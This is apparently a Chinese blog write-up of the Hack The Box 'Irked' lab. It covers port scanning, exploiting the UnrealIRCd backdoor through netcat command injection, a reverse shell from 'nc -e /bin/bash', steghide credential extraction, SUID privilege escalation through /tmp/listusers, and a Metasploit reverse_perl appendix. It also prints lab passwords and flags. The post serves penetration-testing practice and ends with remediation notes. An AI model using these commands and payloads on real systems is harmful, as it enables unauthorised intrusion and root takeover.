HTB Irked – 渗透测试详细记录

你是慕鸢呀~ 发布于 7 天前 3 次阅读 3505 字 预计阅读时间: 16 分钟


摘要

本文详细记录了对 HTB Irked 靶机的渗透测试全过程。侦察阶段识别出目标运行了带有后门的 UnrealIRCd 服务,通过该后门获取初始访问权限。随后利用隐写术获取用户凭据完成横向移动,最终通过利用具有 SUID 权限的可执行文件成功获取 root 权限。本文展示了完整的攻击流程,从信息收集到提权,值得一看。

关键技术

  • UnrealIRCd 后门漏洞(CVE-2010-2075)利用
  • Steghide 图像隐写
  • SUID 二进制文件提权
  • 网络流量验证(ICMP)

1. 初始侦察阶段

完整端口扫描

nmap -sT -min-rate 10000 -p- 10.10.10.117

命令参数解释

  • -sT:执行 TCP 扫描
  • -min-rate 10000:设置发包速率不低于每秒 10000 个,加速扫描
  • -p-:扫描所有 65535 个 TCP 端口
  • 10.10.10.117:目标 IP 地址

扫描结果

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
6697/tcp  open  ircs-u
8067/tcp  open  infi-async
59196/tcp open  unknown
65534/tcp open  unknown

详细服务扫描

nmap -sT -sCV -p22,80,111,6697,8067,59196,65534 10.10.10.117

命令参数解释

  • -sT:TCP 连接扫描
  • -sCV:组合参数,等同于 -sC -sV,同时启用默认脚本扫描和服务版本检测
  • -p22,80,111,6697,8067,59196,65534:仅扫描指定端口
  • 10.10.10.117:目标 IP 地址

扫描结果

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          32988/udp6  status
|   100024  1          43233/tcp6  status
|   100024  1          47593/udp   status
|_  100024  1          59196/tcp   status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
59196/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

从初步扫描结果可以看出,目标机器运行着 SSH、HTTP、RPC 和 UnrealIRCd 服务,并且操作系统为 Debian Linux。

2. 服务探测与信息收集

在初始扫描中发现 UnrealIRCd 服务运行在多个端口上(6697/tcp、8067/tcp、65534/tcp)。UnrealIRCd 有一个著名的后门漏洞,需要进一步确认目标上的版本是否存在此漏洞。

使用 Nmap 针对 IRC 服务进行漏洞探测

nmap -p 6667,6697,8067,65534 --script irc-unrealircd-backdoor 10.10.10.117

命令参数解释

  • -p 6667,6697,8067,65534:指定要扫描的 IRC 相关端口
  • --script irc-unrealircd-backdoor:使用特定的 Nmap 脚本检测 UnrealIRCd 后门漏洞
  • 10.10.10.117:目标 IP 地址

扫描结果

PORT      STATE  SERVICE
6667/tcp  closed irc
6697/tcp  open   ircs-u
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
8067/tcp  open   infi-async
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
65534/tcp open   unknown

扫描结果确认端口 8067 上运行的 UnrealIRCd 存在后门漏洞。这是一个严重的远程命令执行漏洞(CVE-2010-2075),允许攻击者在服务器上执行任意命令。

3. 漏洞识别与初始访问

确认目标存在 UnrealIRCd 后门漏洞后,开始尝试利用该漏洞执行命令。

漏洞验证与命令执行

首先尝试使用 netcat 连接并发送后门命令检查是否可执行:

echo -e "AB;id\n" | nc 10.10.10.117 8067

命令解释

  • echo -e "AB;id\n":生成一个字符串,其中 AB; 是触发后门的特殊前缀,id 是要执行的命令
  • |:管道符,将前一个命令的输出作为后一个命令的输入
  • nc 10.10.10.117 8067:使用 netcat 连接到目标 IP 的 8067 端口

没有回显,可能就是无法回显,尝试在没有回显的情况下验证漏洞

使用 ICMP 验证命令执行

设置本地监听 ICMP 数据包:

tcpdump -ni tun0 icmp

命令参数解释

  • -n:不将 IP 地址解析为主机名
  • -i tun0:指定监听的网络接口为 tun0(通常用于 VPN 连接)
  • icmp:只捕获 ICMP 协议的数据包

发送 ping 命令到目标机器:

echo -e "AB; ping -c 1 10.10.16.26\n" | nc 10.10.10.117 8067

监听到 ICMP 数据包

07:51:26.977836 IP 10.10.10.117 > 10.10.16.26: ICMP echo request, id 5837, seq 1, length 64
07:51:26.977907 IP 10.10.16.26 > 10.10.10.117: ICMP echo reply, id 5837, seq 1, length 64

成功收到来自目标机器的 ICMP 请求,证实命令成功执行,漏洞存在并可被利用。

获取反弹 Shell

在本地设置 netcat 监听:

nc -lvnp 9999

命令参数解释

  • -l:监听模式
  • -v:详细输出
  • -n:不进行 DNS 解析
  • -p 9999:指定监听端口为 9999

发送反弹 shell 命令:

echo -e "AB; nc -e /bin/bash 10.10.16.26 9999" | nc 10.10.10.117 8067

命令解释

  • AB;:后门触发前缀
  • nc -e /bin/bash 10.10.16.26 9999:使用 netcat 将 bash shell 反弹到 本机 IP 和端口

获得反弹 shell 后的输出:

listening on [any] 9999 ...
connect to [10.10.16.26] from (UNKNOWN) [10.10.10.117] 33632
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)

成功获取到目标系统的 shell,以 ircd 用户权限运行。

优化 shell

script /dev/null -c bash

命令解释

  • script:启动 script 程序,记录终端会话
  • /dev/null:输出重定向到空设备
  • -c bash:执行 bash 作为子进程

这个命令可以提供一个更加完整的交互式 shell,支持清屏、历史记录和 tab 补全等功能。

4. 横向移动

获取 ircd 用户的 shell 后,发现无法直接访问用户标志(user.txt):

ircd@irked:/home/djmardov$ cat user.txt
cat: user.txt: Permission denied

需要寻找其他方法获取 djmardov 用户的权限。

发现隐藏信息

经过一番寻找,在 djmardov 用户的文档目录下发现隐藏备份文件:

ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

经常打ctf的都知道有个在图片隐写有个很出名的工具叫steghide,这里给了我们一个密码,而恰好目标的80端口展示了一张图片,尝试利用这个密码读取图片中的隐藏内容。

下载并分析80端口的图片

下载 Web 服务器上的图片:

wget 10.10.10.117/irked.jpg

使用 steghide 提取隐藏信息:

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".

命令参数解释

  • extract:提取隐藏数据
  • -sf irked.jpg:指定源文件
  • -p UPupDOWNdownLRlrBAbaSSss:提供密码

查看提取出来的数据:

cat pass.txt 
Kab6h+m+bbp2J:HG

拿到一个口令Kab6h+m+bbp2J:HG

使用拿到的口令登录

尝试使用 SSH 和找到的凭据登录:

ssh irked@10.10.10.117
ssh djmardov@10.10.10.117

djmardov登录成功,获取初步权限:

djmardov@irked:~$ whoami
djmardov

成功读取key1:

djmardov@irked:~$ cat user.txt 
3fcbf2f50746c066a685886fe407079e

5. 权限提升前的信息收集

获取 djmardov 用户权限后,开始寻找权限提升的途径。

查看目标上的SUID权限文件

find / -user root -perm -4000 -print 2>/dev/null

命令参数解释

  • -user root:文件所有者为 root
  • -perm -4000:查找设置了 SUID 权限的文件
  • -print:打印找到的结果
  • 2>/dev/null:将错误信息重定向到空设备,不显示权限不足的错误

在结果中发现不常见的 SUID 可执行文件:

/usr/bin/viewuser

分析可疑 SUID 文件

检查文件权限:

ls -al /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16  2018 /usr/bin/viewuser

这个文件具有 SUID 权限(-rwsr-xr-x),运行时将以 root 权限执行。

执行该文件看看它的行为:

/usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2025-04-25 18:35 (:0)
djmardov pts/1        2025-04-25 20:42 (10.10.16.26)
sh: 1: /tmp/listusers: not found

程序尝试执行 /tmp/listusers 文件但找不到。这表明该程序尝试执行/读取这个外部文件

6. 权限提升

利用 SUID 程序执行外部文件的漏洞

创建自定义的 /tmp/listusers 文件并赋予可执行权限:

echo 'whoami' > /tmp/listusers
chmod 777 /tmp/listusers

命令解释

  • echo 'whoami' > /tmp/listusers:创建一个内容为 whoami 命令的文件
  • chmod 777 /tmp/listusers:赋予该文件所有用户的读、写和执行权限

执行 viewuser 程序:

djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2025-04-25 18:35 (:0)
djmardov pts/1        2025-04-25 20:42 (10.10.16.26)
root

输出 root 证实了两点:

  1. viewuser 程序会执行 /tmp/listusers 文件中的内容
  2. 执行是以 root 权限进行的

获取 root shell

修改 /tmp/listusers 文件内容为获取 shell:

echo sh > /tmp/listusers

再次执行 viewuser 程序:

$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2025-04-25 18:35 (:0)
djmardov pts/1        2025-04-25 20:42 (10.10.16.26)
# whoami
root

成功提权至root

成功get key2:

# cat /root/root.txt
a337d51ada3a849baf449cf7c935aaea

7. 总结

安全漏洞列表

  1. UnrealIRCd 后门漏洞 (CVE-2010-2075)
    • 严重程度:高
    • 影响:允许未经身份验证的远程攻击者执行任意代码
    • 修复建议:升级到安全版本的 UnrealIRCd
  2. SUID 二进制文件中的不安全路径使用
    • 严重程度:高
    • 影响:允许低权限用户获得 root 权限
    • 修复建议:禁用不必要的SUID权限命令

完整攻击链路图

端口扫描与服务识别
       ↓
识别 UnrealIRCd 后门漏洞
       ↓
利用漏洞获取 ircd 用户 shell
       ↓
发现 steghide 密码线索
       ↓
从网站图片中提取隐藏凭据
       ↓
使用提取的凭据登录 djmardov 用户
       ↓
发现 SUID 权限的 viewuser 程序
       ↓
利用 viewuser 中的不安全路径(/tmp)获取 root 权限

各阶段关键点总结

  1. 初始侦察阶段
    • 全面的端口扫描识别了所有开放服务
    • 服务版本扫描提供了攻击面的详细信息
  2. 漏洞识别阶段
    • 使用专门的 Nmap 脚本确认后门漏洞
    • 使用 ICMP 流量验证命令执行能力
  3. 初始访问阶段
    • 利用 UnrealIRCd 后门获得 ircd 用户权限
    • 使用反弹 shell 技术建立持久连接
  4. 横向移动阶段
    • 仔细搜索发现隐藏的备份文件
    • 利用隐写术技术获取凭据
  5. 权限提升阶段
    • 系统性搜索 SUID 二进制文件
    • 识别并利用不安全的路径使用漏洞

攻击向量简明展示

  1. 远程代码执行 → UnrealIRCd 后门
  2. 隐写术信息泄露 → 用户凭据获取
  3. 不安全路径使用 → 权限提升到 root

结束语

本次渗透测试展示了多个安全漏洞的组合利用过程,实现了完整的攻击链。

附录:使用 Metasploit 获取初始访问权限的攻击流程

作为替代方案,也可以使用 Metasploit 框架快速利用 UnrealIRCd 后门漏洞:

# 搜索相关模块
msf6 > search ircd

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

# 使用 UnrealIRCd 后门模块
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
sf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                       metasploit/basics/using-metasploit.html
   RPORT    6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

View the full module info with the info, or info -d command.

# 设置目标主机
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117

# 设置目标端口
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 8067

# 展示 payload 
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                    .                normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                  .                normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   payload/cmd/unix/bind_perl_ipv6             .                normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   payload/cmd/unix/bind_ruby                  .                normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6             .                normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   payload/cmd/unix/generic                    .                normal  No     Unix Command, Generic Command Execution
   6   payload/cmd/unix/reverse                    .                normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   payload/cmd/unix/reverse_bash_telnet_ssl    .                normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   payload/cmd/unix/reverse_perl               .                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   payload/cmd/unix/reverse_perl_ssl           .                normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  payload/cmd/unix/reverse_ruby               .                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl           .                normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet  .                normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

# 选择 Perl 反向 shell payload
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse_perl

# 设置监听地址和端口
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.16.26
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lport 4444

# 执行漏洞利用
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP handler on 10.10.16.26:4444 
[*] 10.10.10.117:8067 - Connected to 10.10.10.117:8067...
    :irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:8067 - Sending backdoor command...
[*] Command shell session 1 opened (10.10.16.26:4444 -> 10.10.10.117:47972) at 2025-04-26 07:58:13 +0800

uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
whoami
ircd

这种方法的优势在于使用预定义的 payload,只要填参数就好啦,避免了兼容性问题,并减少了手动配置的工作量。

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-04-26